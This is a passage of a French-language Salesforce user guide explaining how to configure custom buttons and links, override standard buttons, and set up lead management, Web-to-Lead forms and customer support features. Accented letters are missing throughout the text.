D'excuter une commande s-control partir de la bibliothque s-control, par exemple une commande qui hirarchise une
requte partir de sa page de dtails.
De lancer des liens personnaliss

Pour les liens et les boutons personnaliss, vous pouvez choisir les proprits de la fentre d'affichage qui dterminent la faon
dont la cible d'un lien ou d'un bouton apparat pour vos utilisateurs. Les liens personnaliss et commandes S-Control peuvent
inclure des champs Salesforce.com sous forme de jetons dans l'URL ou la commande Custom S-Control. Par exemple, vous
pourriez inclure un nom de compte dans une URL parcourant Yahoo de la faon suivante :
http://search.yahoo.com/bin/search?p={!Account_Name}. En outre, les commandes s-control peuvent comprendre
des oprateurs et des fonctions.
De plus, vous pouvez remplacer l'action par dfaut de certains boutons standard et personnaliser le comportement des pages
d'accueil d'onglet pour rpondre aux besoins de votre entreprise. Pour plus d'informations, reportez-vous Remplacement de
boutons standard et de pages d'accueil d'onglet la page 584.

Voir aussi :
Configuration des boutons et liens personnaliss
Ajout de liens personnaliss par dfaut
Fiche de conseil de l'administrateur : Cration de liens personnaliss Salesforce

Personnaliser

Guide de l'utilisateur | Configuration des boutons et liens personnaliss | 579

Configuration des boutons et liens personnaliss

Les liens et les boutons personnaliss sont disponibles dans : Toutes les ditions
Les commandes S-control sont disponibles dans : Contact Manager Edition, Group Edition, Professional Edition,
Enterprise Edition, Unlimited Edition et Developer Edition

Autorisations utilisateur requises

Pour crer ou modifier des liens ou des boutons personnaliss : Personnaliser l'application

Avant de crer un bouton ou un lien personnalis, dterminez l'action qui doit se produire lorsqu'un utilisateur clique dessus.
Pour dfinir des boutons et des liens personnaliss :
1. Cliquez sur Configuration Personnalisation, slectionnez le lien d'onglet ou d'utilisateur appropri, puis choisissez
Buttons and Links. Les boutons personnaliss ne sont pas disponibles sur l'objet utilisateur ni sur les pages d'accueil
personnalises.
Les boutons et liens personnaliss sont disponibles pour les activits, sous les liens de configuration individuels des tches
et des vnements. Vous pouvez toutefois remplacer un bouton qui s'applique la fois aux tches et aux vnements en
cliquant sur Configuration Personnalisation Activits Boutons des activits.
Pour les objets personnaliss, cliquez sur Configuration Crer Objets, et slectionnez un objet personnalis dans la
liste.
2. Cliquez sur New dans la section Custom Buttons and Links.
3. Entrez les attributs suivants :
Nom d'attribut

Description

tiquette

Texte qui apparat sur les pages de l'interface utilisateur pour le bouton ou le lien personnalis.

Nom

Nom unique du bouton ou du lien, utilis pour faire rfrence cet lment depuis un champ
de fusion. Ce nom ne peut contenir que des caractres de soulignement et alphanumriques,
et il doit tre unique dans votre organisation. Il doit commencer par une lettre, ne pas inclure
despace, ne pas se terminer pas un trait de soulignement et ne doit pas contenir deux traits
de soulignement conscutifs.

Prfixe d'espace de Dans un contexte de gnration d'un package, un prfixe d'espace de noms est un identificateur
noms
alphanumrique de 1 15 caractres qui distingue votre package et son contenu de ceux

d'autres dveloppeurs dans AppExchange. Les prfixes d'espace de noms respectent la casse.
Par exemple, ABC et abc ne sont pas considrs comme identiques. Le prfixe de votre espace
de noms doit tre unique dans l'ensemble des organisations Salesforce.com. Il vous permet
de contrler votre package gr en exclusivit.
Composant protg

Les composants protgs ne peuvent pas tre lis ni rfrencs par des composants crs au
sein d'une organisation abonne. Un dveloppeur peut supprimer un composant protg dans
une version ultrieure sans avoir se soucier des checs d'installation. Cependant, une fois

Personnaliser

Nom d'attribut

Guide de l'utilisateur | Configuration des boutons et liens personnaliss | 580

Description
qu'un composant est marqu comme non protg et qu'il est publi de manire globale, le
dveloppeur ne peut plus le supprimer.

Description

Texte qui distingue le bouton ou le lien des autres lments. Il apparat uniquement pour les
administrateurs lors de la configuration des boutons et des liens.

Type d'affichage

Dtermine l'endroit o le bouton ou le lien est disponible sur les prsentations de page :
Lien vers la page de dtails
Slectionnez cette option pour ajouter le lien la section Liens personnaliss de vos
prsentations de page.
Bouton Page de dtails
Slectionnez cette option pour ajouter le bouton personnalis la page de dtails d'un
enregistrement. Vous pouvez uniquement ajouter des boutons de page de dtails la
section Bouton d'une prsentation de page.
Bouton de liste
Slectionnez cette option pour ajouter le bouton personnalis une vue de liste, une
prsentation de rsultats de recherche ou une liste associe. Vous pouvez uniquement
ajouter des boutons de liste la section de liste associe d'une prsentation de page ou
aux prsentations Vue de liste et Rsultats de recherche.
Pour les boutons de liste, Salesforce.com slectionne automatiquement l'option Afficher
les cases (pour la slection de plusieurs enregistrements) qui comprend une case
cocher ct de chaque enregistrement de la liste et qui permet aux utilisateurs de
slectionner les enregistrements appliquer l'action sur le bouton de liste. Dsactivez
cette option si votre bouton personnalis ne ncessite pas que l'utilisateur slectionne
des enregistrements comme dans le cas d'un bouton qui dirige rapidement l'utilisateur
vers une autre page.

Comportement

Choisissez l'action que doit entraner un clic sur le bouton ou le lien.

Le cas chant, certains paramtres ont des valeurs par dfaut. Par exemple, si vous slectionnez
Affichage dans une nouvelle fentre , la hauteur par dfaut d'une nouvelle fentre est de
600 pixels. Pour modifier ces paramtres, reportez-vous Modification des proprits
d'ouverture de la fentre la page 582.

Source de contenu

Choisissez d'utiliser une URL, une commande s-control, une action JavaScript ou une page
Visualforce comme contenu du bouton ou du lien. Pour utiliser une commande s-control,
slectionnez Commande Custom S-Control, puis la commande voulue dans la liste droulante.
Pour utiliser une URL, slectionnez URL et entrez le lien ci-dessous dans la zone de texte
exactement tel qu'il apparat dans la barre d'adresse d'un navigateur Web. Pour excuter un
code JavaScript lorsque le bouton ou lien est activ, slectionnez OnClick JavaScript et
entrez le code dans la zone de texte ci-dessous. Pour utiliser une page Visualforce, slectionnez
Page Visualforce , puis choisissez la page dans la liste droulante.
Remarque:

Les pages Visualforce utilises en tant que liens personnaliss dans la page d'accueil
ne peuvent pas spcifier de contrleur.

Personnaliser

Nom d'attribut

Guide de l'utilisateur | Configuration des boutons et liens personnaliss | 581

Description

Contenu

Les pages Visualforce utilises en tant que boutons ou liens personnaliss dans
les page de dtails doivent spcifier un contrleur standard du mme objet.
Les pages Visualforce utilises en tant que boutons de liste personnalise doivent
utiliser un contrleur de liste standard du mme objet.

Entrez le contenu du bouton ou du lien pour les boutons et liens de type URL ou OnClick
JavaScript :
Pour insrer un champ, slectionnez le type de champ dans la liste droulante
Slectionnez un type de champ, puis l'un des champs de la liste droulante
Insrer un champ.
Pour insrer un oprateur, slectionnez l'icne d'oprateur approprie dans la liste
droulante Insrer un oprateur. Utilisez les exemples de la section Oprateurs et
fonctions la page 475.
Pour insrer une fonction, double-cliquez sur son nom dans la liste, ou slectionnez-la et
cliquez sur Insrer la fonction slectionne. Pour filtrer la liste de fonctions, choisissez
une catgorie dans la liste droulante Fonctions. Slectionnez une fonction et cliquez
sur Aide sur cette fonction pour lire sa description et consulter des exemples de formule
faisant appel cette fonction.
Conseil: Les normes Internet imposent un codage particulier des URL.
Salesforce.com code automatiquement le texte d'un champ de fusion que vous
insrez dans un lien. Codez manuellement tout autre texte dans votre lien. Par
exemple, pour gnrer l'URL suivante :
http://www.google.com/search?q={!user.name} Steve Mark 50%

Utilisez ce contenu :
http://www.google.com/search?q={!user.name}+Steve+Mark+50%25

Salesforce.com efface automatiquement les guillemets dans les URL, lorsque la

Source de contenu est une URL. Si vous souhaitez utiliser des guillemets,
codez-les manuellement. Par exemple, pour gnrer l'URL
http://www.google.com/search?q="salesforce+fondation", utilisez
ce contenu :
http://www.google.com/search?q=%22salesforce+fondation%22.
Codage du lien

Paramtre de codage Unicode par dfaut (UTF-8). Modifiez le paramtre de codage par
dfaut si la cible d'un lien requiert des donnes dans un autre format. Cette option est
disponible si la source du contenu est une URL.

4. Vous pouvez galement cliquer sur Vrifier la syntaxe pour valider tous les champs de fusion et toutes les fonctions
Salesforce.com.
5. Lorsque vous avez termin, cliquez sur Enregistrer.
Cliquez sur Enregistrement rapide pour enregistrer et poursuivre les modifications.

Personnaliser

Guide de l'utilisateur | Configuration des boutons et liens personnaliss | 582

Cliquez sur Aperu pour voir l'URL indique.

Cliquez sur Annuler pour quitter sans enregistrer le contenu que vous avez entr.
6. Modifiez la prsentation de page de l'onglet appropri ou de la prsentation de recherche approprie pour afficher le
nouveau lien ou le nouveau bouton.
Si vous ajoutez un lien personnalis pour les utilisateurs, il est automatiquement intgr la section des liens personnaliss
de la page de dtails des utilisateurs. Les boutons de page de dtails ne peuvent tre ajouts qu' la section Bouton d'une
prsentation de page.
7. En option, vous pouvez dfinir les proprits des fentres si vous prfrez que le bouton ou le lien qui s'ouvre utilise des
paramtres diffrents des paramtres par dfaut du navigateur de l'utilisateur.
Remarque: L'URL du lien peut faire jusqu' 3 000 octets. Lorsque des donnes d'URL remplacent les jetons, le lien
peut excder 3 000 octets. Le navigateur peut appliquer des limites supplmentaires la longueur maximale des URL.

Voir aussi :
Affichage des rfrences aux composants Salesforce.com
Modification des proprits d'ouverture de la fentre
Ajout de liens personnaliss par dfaut
Remplacement de boutons standard et de pages d'accueil d'onglet

Modification des proprits d'ouverture de la fentre

Disponible avec : Toutes les ditions
Les commandes S-control sont disponibles dans : Contact Manager Edition, Group Edition, Professional Edition,
Enterprise Edition, Unlimited Edition et Developer Edition

Autorisations utilisateur requises

Pour modifier les proprits des boutons ou des liens
personnaliss :

Personnaliser l'application

Les boutons et les liens personnaliss peuvent s'ouvrir dans diffrents types de fentre. Si vous avez choisi d'ouvrir un bouton
ou un lien personnalis dans une fentre contextuelle, configurez les proprits de cette dernire. Si vous ne remplissez pas les
proprits de la fentre, le lien ou le bouton personnalis utilise les paramtres par dfaut du navigateur de l'utilisateur.
Pour modifier les proprits d'ouverture de la fentre :
1. Pour slectionner le bouton ou le lien personnalis, cliquez sur Configuration Personnaliser, slectionnez le lien d'onglet
ou d'utilisateur appropri, cliquez sur Boutons et liens et slectionnez le nom du bouton ou du lien. Les boutons personnaliss
ne sont pas disponibles sur l'objet utilisateur.
Pour les objets personnaliss, cliquez sur Configuration Crer Objets et slectionnez l'un des objets personnaliss
de la liste.
2. Cliquez sur Proprits d'ouverture de la fentre.

Personnaliser

Guide de l'utilisateur | Configuration des boutons et liens personnaliss | 583

3. Modifiez les proprits suivantes :

Proprit de la fentre

Description

Largeur

Largeur (en pixels) de la fentre contextuelle.

Hauteur

Hauteur (en pixels) de la fentre contextuelle.

Position de la fentre

Emplacement d'ouverture de la fentre l'cran.

Redimensionnable

Permet aux utilisateurs de redimensionner la fentre

contextuelle.

Afficher la barre d'adresse

Affiche la barre d'adresse du navigateur contenant l'URL.

Afficher les barres de dfilement

Affiche les barres de dfilement du navigateur pour la fentre

contextuelle.

Afficher les barres d'outils

Affiche les barres d'outils du navigateur. Les barres d'outils

contiennent gnralement des boutons comme Prcdente,
Suivante Imprimer.

Afficher la barre de menus

Affiche les menus du navigateur. Les menus contiennent

gnralement des options comme Fichier et dition.

Afficher la barre d'tat

Affiche la barre d'tat au bas du navigateur.

Remarque: Il se peut que certaines proprits ne soient pas disponibles en fonction du comportement du bouton
ou du lien personnalis. Par exemple, si vous avez choisi Excution de JavaScript, aucune proprit concernant
l'ouverture de la fentre n'est disponible.

Voir aussi :
Configuration des boutons et liens personnaliss

Ajout de liens personnaliss par dfaut

Disponible avec : Toutes les ditions

Autorisations utilisateur requises

Pour crer ou modifier des liens personnaliss :

Personnaliser l'application

Pour ajouter l'un des liens personnaliss prdfinis :

1.
2.
3.
4.

Cliquez sur Configuration Personnalisation, slectionnez le lien d'onglet appropri, puis choisissez Boutons et liens.
Cliquez sur Liens personnaliss par dfaut.
Cliquez sur Ajouter maintenant ! en regard de l'exemple de lien que vous souhaitez ajouter.
Le cas chant, modifiez les donnes par dfaut du lien.

Personnaliser

Guide de l'utilisateur | Configuration des boutons et liens personnaliss | 584

5. Cliquez sur Enregistrer.

6. Modifiez la prsentation de page de l'onglet appropri pour qu'il affiche le nouveau lien. Reportez-vous Gestion des
prsentations de page la page 544.

Voir aussi :
Configuration des boutons et liens personnaliss

Remplacement de boutons standard et de pages d'accueil d'onglet

Disponible avec : Enterprise Edition, Unlimited Edition et Developer Edition
Les remplacements Visualforce sont galement disponibles avec : Contact Manager Edition, Group Edition et Professional
Edition

Autorisations utilisateur requises

Pour remplacer des boutons standard et des pages d'accueil
d'onglet :

Personnaliser l'application

Pour rinitialiser les modifications du boutons et de la page

d'accueil d'onglet :

Personnaliser l'application

Salesforce.com permet de remplacer l'action des boutons standard de la page de dtails d'un enregistrement. En outre, vous
pouvez remplacer la page d'accueil d'onglet qui apparat lorsqu'un utilisateur clique sur un onglet d'objet standard ou personnalis.
Pour remplacer un bouton standard ou une page d'accueil d'onglet :
1. Rendez-vous sur la page de remplacement approprie :

Pour les objets standard, cliquez sur Configuration Personnalisation, choisissez le lien d'objet ou d'onglet appropri,
puis cliquez sur Boutons et liens.
Pour les objets personnaliss, cliquez sur Configuration Crer Objets, et slectionnez un objet personnalis dans
la liste.

2. Cliquez sur Remplacer en regard du bouton ou de la page d'accueil d'onglet que vous voulez remplacer, dans la liste associe
des boutons et des liens standard.
Vous remarquerez que les vnements et les tches n'ont pas d'onglets. Pour ces objets, vous ne pouvez donc remplacer
que les boutons et les liens standard.
3. Spcifiez le type de contenu : Commande Custom S-Control ou Page Visualforce.
4. Slectionnez le nom de la commande s-control ou de la page Visualforce qui doit s'excuter lorsque les utilisateurs cliquent
sur le bouton ou l'onglet.
Lors du remplacement de boutons avec une page Visualforce, seules les pages Visualforce qui utilisent le contrleur standard
de l'objet comportant le bouton peuvent tre slectionnes. Par exemple, si vous souhaitez utiliser une page pour remplacer

Personnaliser

Guide de l'utilisateur | Configuration des boutons et liens personnaliss | 585

le bouton Modifier des comptes, le balisage de la page doit comporter l'attribut standardController="Compte" sur
la balise <apex:page> :
<apex:page standardController="Compte">
... contenu de la page ici...
</apex:page>

Lors du remplacement d'onglets avec une page Visualforce, seules les pages Visualforce qui utilisent le contrleur de liste
standard de cet onglet, les pages comportant un contrleur personnalis ou les pages sans contrleur peuvent tre
slectionnes.
Lors du remplacement de listes avec une page Visualforce page, seules les pages Visualforce qui utilisent le contrleur de
liste standard peuvent tre slectionnes.
5. Vous pouvez galement saisir des commentaires sur la raison de cette modification.
6. Cliquez sur Enregistrer.
Les remplacements de bouton ont des rpercussions dans l'intgralit de Salesforce.com car les remplacements dterminent
l'action des boutons. Par exemple, si vous remplacez le bouton New des opportunits, l'action de remplacement prendra
effet tous les endroits o cette action est possible :

Sur la page d'accueil de l'onglet des opportunits

Dans toutes les listes associes des opportunits sur d'autres objets comme les comptes
Dans la liste droulante Crer du menu latral
Dans tous les signets de navigateur pour cette page Salesforce.com

Pour annuler un remplacement :

1. Cliquez sur Configuration Personnalisation, choisissez le lien d'objet ou d'onglet appropri, puis cliquez sur Boutons
et liens.
Pour les objets personnaliss, cliquez sur Configuration Crer Objets, et slectionnez un objet personnalis dans la
liste.
2. Cliquez sur Reset en regard du remplacement.
3. Cliquez sur OK.

Voir aussi :
Configuration des boutons et liens personnaliss

Personnaliser

Guide de l'utilisateur | Configuration de la gestion des pistes | 586

Affichage des rfrences aux composants Salesforce.com

Les liens et les boutons personnaliss sont disponibles dans : Toutes les ditions
Les commandes S-control sont disponibles dans : Contact Manager Edition, Group Edition, Professional Edition,
Enterprise Edition, Unlimited Edition et Developer Edition
Les pages et les composants personnaliss Visualforce sont disponibles dans : Contact Manager Edition, Group Edition,
Professional Edition, Enterprise Edition, Unlimited Edition et Developer Edition

Autorisations utilisateur requises

Pour crer ou modifier des liens ou des boutons personnaliss : Personnaliser l'application
Pour crer, modifier et supprimer des commandes custom
s-control :

Personnaliser l'application

Pour crer, modifier et supprimer des pages et des composants Personnaliser l'application
personnaliss Visualforce
Pour cloner, modifier ou supprimer des ressources statiques : Personnaliser l'application

Vous pouvez voir la liste de toutes les zones de Salesforce.com qui font rfrence un composant. Par exemple, affichez les
liens personnaliss, les boutons personnaliss ou les prsentations de page qui font rfrence une commande custom s-control.
Pour ce faire, cliquez sur O cette option est-elle utilise ? dans la page de dtails du composant. Salesforce.com indique le
type qui rfrence le composant et l'tiquette de ce composant. Cliquez sur un lment de la liste pour y accder directement.

Voir aussi :
Qu'est-ce qu'une ressource statique ?
Configuration des boutons et liens personnaliss
Prsentation de Visualforce
Prsentation d'un composant personnalis

Configuration de la gestion des pistes

Disponible avec : Group Edition, Professional Edition, Enterprise Edition, Unlimited Edition et Developer Edition

La russite dans le secteur des ventes passe par un srieux en-cours de pistes. Une piste est un prospect qui est intress par
votre socit.
L'utilisation des pistes permet vos quipes de vente d'accder immdiatement aux derniers prospects et garantit qu'aucune
piste n'est perdue. Une gestion des pistes russie permet aux services des ventes et du marketing de grer le processus des pistes
entrantes, de suivre les sources des pistes et d'analyser le retour obtenu sur votre investissement marketing.
Pour commencer utiliser la gestion des pistes, cliquez sur Configuration Personnalisation Piste :

Personnaliser

Guide de l'utilisateur | Personnalisation des paramtres de piste | 587

Cliquez sur Champs pour crer des champs de piste personnaliss qui assurent le suivi des informations propres votre
socit ; reportez-vous Cration de champs personnaliss la page 390. Faites aussi correspondre vos champs de piste
personnaliss aux champs de compte, de contact et d'opportunit afin que les donnes soient converties lorsque les utilisateurs
convertissent des pistes ; reportez-vous Mappage des champs de piste personnaliss la page 589. Utiliser la liste Statut
de la piste pour slectionner le statut par dfaut des nouvelles pistes et des pistes converties. Reportez-vous Mise
jour des listes de slection la page 375.
Cliquez sur Paramtres pour spcifier les paramtres de piste par dfaut. Reportez-vous Personnalisation des paramtres
de piste la page 587.
Cliquez sur Rgles d'attribution pour dfinir les rgles qui permettent d'attribuer automatiquement les pistes ; reportez-vous
Gestion des rgles d'attribution la page 619.
Cliquez sur Web vers piste pour rcuprer automatiquement des pistes partir du site Web.

Pour crer des files d'attente de ventes pour des pistes ou des objets personnaliss, cliquez sur Configuration Gestion des
utilisateurs Files d'attente. Reportez-vous Gestion des files d'attente la page 139.

Personnalisation des paramtres de piste

Disponible avec : Group Edition, Professional Edition, Enterprise Edition, Unlimited Edition et Developer Edition

Autorisations utilisateur requises

Pour modifier des paramtres de piste :

Personnaliser l'application

Pour optimiser les fonctions de gestion des pistes, vous devez modifier les paramtres de piste pour spcifier certains paramtres
par dfaut.
1. Cliquez sur Configuration Personnalisation Piste Paramtres.
2. Cliquez sur Modifier pour personnaliser les paramtres par dfaut suivants :
Champ

Description

Responsable de la piste par dfaut

File d'attente ou utilisateur auquel les pistes sont attribues

lorsque la rgle d'attribution active ne permet pas de localiser
un responsable. Ceci s'applique aux pistes saisies en ligne,
et celles cres ou modifies manuellement par un
utilisateur avec la case d'auto-attribution coche.

Prvenir le responsable de la piste par

dfaut

Case cocher permettant d'indiquer si Salesforce.com doit

avertir le responsable par dfaut de la piste lors de son
attribution. Le Responsable de la piste par
dfaut slectionn doit tre un utilisateur.

Dfinition du type d'enregistrement

Si un utilisateur qui cre une piste applique des rgles

d'attribution, ce paramtre indique le type attribuer au
nouvel enregistrement. Pour que les nouvelles pistes
conservent le type d'enregistrement du crateur, cochez la
case Conserver le type d'enregistrement

Personnaliser

Champ

Guide de l'utilisateur | Personnalisation des paramtres de piste | 588

Description
existant. Pour remplacer le type d'enregistrement du

crateur lors de l'attribution des rgles, cochez la case

Remplacer le type d'enregistrement existant
par le type d'enregistrement par dfaut du
bnficiaire.
Activer la validation et les dclencheurs Lorsqu'elle est slectionne, active les oprations suivantes
partir de la conversion de piste
si vous convertissez des pistes :

Application de champs personnaliss requis par tous.

Application de rgles de validation. Notez que si des
rgles de validation existent pour des activits et que vous
crez une activit au cours de la conversion des pistes, la
piste est convertie mais aucune tche n'est cre.
Actions de workflow sur des pistes telles que des mises
jour de champ, des attributions automatiques de tche
et des transferts. Notez que les actions de workflow
temporelles existantes sur des pistes ne sont pas
dclenches en tant que partie de la conversion de piste.
Excution d'Apex avant des dclencheurs qui sont activs
avant l'insertion de comptes, de contacts ou
d'opportunits. De plus, l'excution d'Apex avant des
dclencheurs qui sont activs avant la mise jour des
comptes ou des contacts.
Remarque: Si Activer la validation et
les dclencheurs partir de la
conversion de piste est slectionn, que la

conversion de piste cre une opportunit et que cette

opportunit possdeApex avant les dclencheurs qui
lui sont associs, les dclencheurs sont excuts
immdiatement aprs que l'opportunit est cre et
avant que le rle de contact de l'opportunit est cr.
Ne pas changer les valeurs de statut de la Si votre entreprise utilise des types d'enregistrement, vous
piste en type denregistrement du nouveau
pouvez crer un processus de piste qui vous permet de saisir
responsable sur la conversion de la piste
des valeurs de Statut de piste diffrentes pour diffrents
types d'enregistrements. Si Ne pas changer les
valeurs de statut de la piste en type
denregistrement du nouveau responsable sur
la conversion de la piste est slectionn, leStatut
de piste ne prend pas la valeur par dfaut du nouveau

responsable au cours de la conversion de piste. Si ce

paramtre n'est pas slectionn, le Statut de piste peut
tre modifi au cours de la conversion de piste si le type
d'enregistrement du nouveau responsable possde une valeur
par dfaut de Statut de piste diffrente.

Personnaliser

Guide de l'utilisateur | Mappage des champs de piste personnaliss | 589

Mappage des champs de piste personnaliss

Disponible avec : Group Edition, Professional Edition, Enterprise Edition, Unlimited Edition et Developer Edition

Autorisations utilisateur requises

Pour mapper des champs de piste :

Personnaliser l'application

Lorsque vous convertissez une piste valide, les informations contenues dans les champs de piste standard sont insres dans
les champs standard de compte, de contact et d'opportunit (reportez-vous Mappage des conversions de pistes la page 1533).
Si votre organisation possde des champs de piste personnaliss, vous pouvez spcifier la faon dont ces donnes personnalises
seront converties en champs personnaliss de compte, de contact ou d'opportunit.
Pour dfinir le mappage des champs de piste personnaliss :
1. Slectionnez Configuration Personnalisation Piste Champs Mappage des champs de piste.
2. Pour chaque champ de piste personnalis, choisissez le champ personnalis de compte, de contact ou d'opportunit dans
lequel vous voulez copier les donnes lorsque vous convertissez une piste.
3. Cliquez sur Enregistrer.

Voir aussi :
Conversion de pistes

Personnaliser

Guide de l'utilisateur | Saisie de pistes Web | 590

Saisie de pistes Web

Disponible avec : Group Edition, Professional Edition, Enterprise Edition, Unlimited Edition et Developer Edition

Autorisations utilisateur requises

Pour configurer la fonction Web vers piste :

Personnaliser l'application

Avec la fonction Web vers piste, vous pouvez recueillir des informations sur le site Web de votre socit et gnrer
automatiquement jusqu' 500 nouvelles pistes par jour.

Voir aussi :
Gestion des rgles d'attribution
Gestion des files d'attente
Personnalisation des paramtres de piste
Affichage et modification des pistes
Conversion de pistes
Configuration des rgles de rponse automatique

Configuration de la fonction Web vers piste

Disponible avec : Group Edition, Professional Edition, Enterprise Edition, Unlimited Edition et Developer Edition

Autorisations utilisateur requises

Pour configurer la fonction Web vers piste :

Personnaliser l'application

Pour configurer la fonction Web vers piste :

1. Cliquez sur Configuration Personnalisation Piste Web vers piste.
2. Cliquez sur Modifier pour activer ou modifier les paramtres Web vers piste suivants :
Paramtre de la fonction Web vers piste

Description

Web vers piste activ

Active la fonction Web vers piste.

Crateur de pistes par dfaut

Utilisateur rpertori en tant que crateur des pistes en ligne

et apparaissant comme expditeur des rponses par e-mail.
Cet utilisateur doit possder le profil Administrateur systme
ou les autorisations Modifier toutes les donnes et Envoyer
un e-mail.

Personnaliser

Guide de l'utilisateur | Saisie de pistes Web | 591

Paramtre de la fonction Web vers piste

Description

Modle de rponse par dfaut

Modle de rponse par dfaut utiliser pour l'e-mail

automatiquement envoy aux prospects ayant soumis une
piste en ligne.
Si vous configurez des rgles de rponse dfinissant
l'utilisation de diffrents modles de message selon les
informations soumises, le modle de rponse par dfaut est
utilis quand aucune rgle de rponse automatique la page
629 ne s'applique. Ne renseignez pas ce champ si vous ne
souhaitez pas envoyer de courriers lectroniques si aucune
rgle de rponse ne s'applique. Ce modle doit avoir l'attribut
Disponible.

3. Cliquez sur Enregistrer.

4. Pour crer un formulaire Web vers piste, cliquez sur Crer un formulaire Web vers piste dans la page Configuration de
Web vers piste.
5. Slectionnez les champs inclure dans le formulaire Web vers piste. Utilisez les flches Ajouter et Supprimer pour dplacer
les champs de la liste Champs disponibles vers la liste Champs slectionns. Utilisez galement les flches Haut et Bas
pour rorganiser les champs de votre formulaire.

Slectionnez le champ Campagne (et ventuellement le champ Statut de membre de campagne) si vous utilisez
la fonction Web vers piste dans le cadre d'une campagne.
Lorsque votre organisation utilise plusieurs devises, ajoutez le champ Devise de la piste si vous ajoutez d'autres
champs de devise. Dans le cas contraire, tous les montants s'affichent dans la devise utilise par votre socit.
Utilisez une liste de slection multiple afin de permettre aux clients potentiels d'exprimer leur intrt pour plusieurs
produits.
Dans les organisations qui utilisent des types d'enregistrement de pistes, slectionnez le champ Type
d'enregistrement de piste afin de permettre aux utilisateurs de slectionner un type d'enregistrement pour les
pistes gnres sur le Web.

6. Si votre organisation utilise le systme de traduction ou a renomm des onglets, slectionnez la langue des tiquettes
affiches sur le formulaire Web vers piste. l'origine, le formulaire Web vers piste est toujours dans votre langue.
7. Saisissez une URL complte vers laquelle les utilisateurs sont redirigs aprs avoir soumis leurs informations, par exemple
la page d'accueil de votre socit ou une page de remerciement, puis cliquez sur Gnrer.
8. Copiez le code HTML gnr et transmettrez-le au webmestre de votre socit pour lui permettre de l'incorporer votre
site Web.
9. Cliquez sur Termin.
Les pistes gnres partir de votre site Web sont initialement marques avec le statut par dfaut spcifi par la liste de
slection Statut de la piste. Pour les pistes Web gnres lors d'une campagne, le statut de membre des nouvelles pistes
est dfini sur la valeur Statut du membre spcifie dans le formulaire ou dans le statut par dfaut si le champ Statut
du membre ne figure pas dans ce formulaire.

Personnaliser

Guide de l'utilisateur | Configuration du support client | 592

En outre, les nouvelles pistes sont marques comme Non lues et ne prennent le statut Lues lorsque le responsable de
piste les affiche ou les modifie. Les utilisateurs peuvent slectionner la liste Mes pistes non lues pour localiser rapidement leurs
nouvelles pistes.

Voir aussi :
Saisie de pistes Web

Configuration du support client

Les options de configuration de support disponibles dpendent de votre dition de Salesforce.com.

Si votre organisation utilise des requtes et des solutions, vous pouvez dfinir diffrentes fonctionnalits de support automatises.
Cliquez sur Configuration Personnalisation Cases.

Cliquez sur Heures d'ouverture pour dfinir les horaires de support de votre organisation.
Cliquez sur Rgles d'attribution pour crer des rgles d'acheminement automatique des requtes.
Cliquez sur Rgles hirarchiques pour crer des rgles de hirarchisation automatique des requtes.
Cliquez sur Paramtres de support pour personnaliser les modles de message et les paramtres par dfaut des fonctionnalits
de support automatises.
Cliquez sur Rgles de rponse automatique pour configurer des rgles qui envoient des e-mails aux clients qui soumettent
des requtes depuis :
-

un formulaire Web vers requte

un message E-mail vers requte
un message E-mail vers requte la demande
un portail client
un portail libre-service

Cliquez sur E-mail vers requte pour configurer la possibilit de saisir les e-mails client en tant que requtes. La configuration
spcifie la manire dont le contenu de chaque e-mail client est automatiquement insr dans les champs de requte.

Pour connatre les fonctionnalits de support associes aux solutions, cliquez sur Configuration Personnalisation
Solutions.

Cliquez sur Catgories de solutions pour configurer des catgories afin que vos utilisateurs puissent regrouper en catgories
les solutions qu'ils crent.
Cliquez sur Paramtres des solutions pour activer des options propres aux solutions.

Pour avoir accs d'autres fonctions de support, cliquez sur Configuration Personnalisation Libre-service.

Cliquez sur Solutions publiques pour dfinir des solutions publiques que vos clients peuvent utiliser en recherchant des
solutions.
Cliquez sur Web vers requte pour configurer la possibilit de saisir les requtes partir de votre site Web.
Cliquez sur Portail libre-service pour configurer le portail Web de votre organisation, et permettre aux clients de consigner
des requtes et de rechercher des solutions.

Personnaliser

Guide de l'utilisateur | Dfinition des heures d'ouverture | 593

Pour accder aux fonctionnalits de support associes un portail Client Salesforce.com, cliquez sur Configuration
Personnalisation Portail Client.

Cliquez sur Paramtres pour configurer le portail client de votre organisation, afin que les clients puissent consigner des
requtes, rechercher des solutions et accder aux objets personnaliss que vous avez ventuellement crs.

Pour accder aux fonctionnalits de support associes Salesforce CRM Call Center, cliquez sur Configuration
Personnalisation Call Center.

Cliquez sur Centres d'appels pour configurer de nouveaux centres d'appels et grer les utilisateurs qui y sont attribus.
Cliquez sur Numros de rpertoire pour configurer des numros de tlphone supplmentaires qui peuvent tre recherchs
dans un annuaire des utilisateurs de centre d'appels.
Cliquez sur SoftPhone Prsentations pour configurer les prsentations utilises pour afficher les informations d'appel
dans le SoftPhone d'un utilisateur de centre d'appels.

Pour crer des files d'attente de support pour des requtes ou des objets personnaliss, cliquez sur Configuration Gestion
des utilisateurs Files d'attente.
Les fonctionnalits de support permettent d'avertir les clients que leur requte a t cre manuellement ou via le Web, ou
qu'elle a t rsolue. Vous pouvez galement avertir automatiquement les utilisateurs lorsqu'une requte est hirarchise, cre
ou rattribue. Pour utiliser les e-mails de notification, vous devez crer des modles de message pour chaque type de notification.

Voir aussi :
Configuration de votre organisation
Fiche de conseil de l'administrateur : Configuration du support client
Fiche de conseil de l'administrateur : Mieux exploiter votre portail libre-service
Guide de configuration de l'administrateur Guide de mise en uvre du libre-service
Guide de configuration de l'administrateur Guide de mise en uvre de la gestion de requtes

Dfinition des heures d'ouverture

Disponible avec : Professional Edition, Enterprise Edition, Unlimited Edition et Developer Edition

Autorisations utilisateur requises

Pour configurer les heures d'ouverture :

Grer les vacances pendant les heures d'ouverture

Vous pouvez spcifier les heures d'ouverture auxquelles votre quipe de support travaille, y compris les heures d'ouverture de
plusieurs fuseaux horaires. La dfinition des heures d'ouverture vous permet :

D'associer des cas des fuseaux horaires et d'emplacements spcifiques

De hirarchiser les cas en fonction de fuseaux horaires et d'emplacements spcifiques

Aprs avoir dfini les heures d'ouverture, les utilisateurs peuvent cliquer sur le champ de recherche Heures d'ouverture
ou sur un cas pour l'associer aux heures auxquelles l'quipe du support client est oprationnelle. En outre, les utilisateurs
disposant de l'Personnaliser l'application peuvent associer les heures d'ouverture aux rgles de hirarchisation afin que, lorsque
les dtails d'une requte correspondent une rgle de hirarchisation, la requte soit automatiquement mise jour et hirarchise

Personnaliser

Guide de l'utilisateur | Dfinition des heures d'ouverture | 594

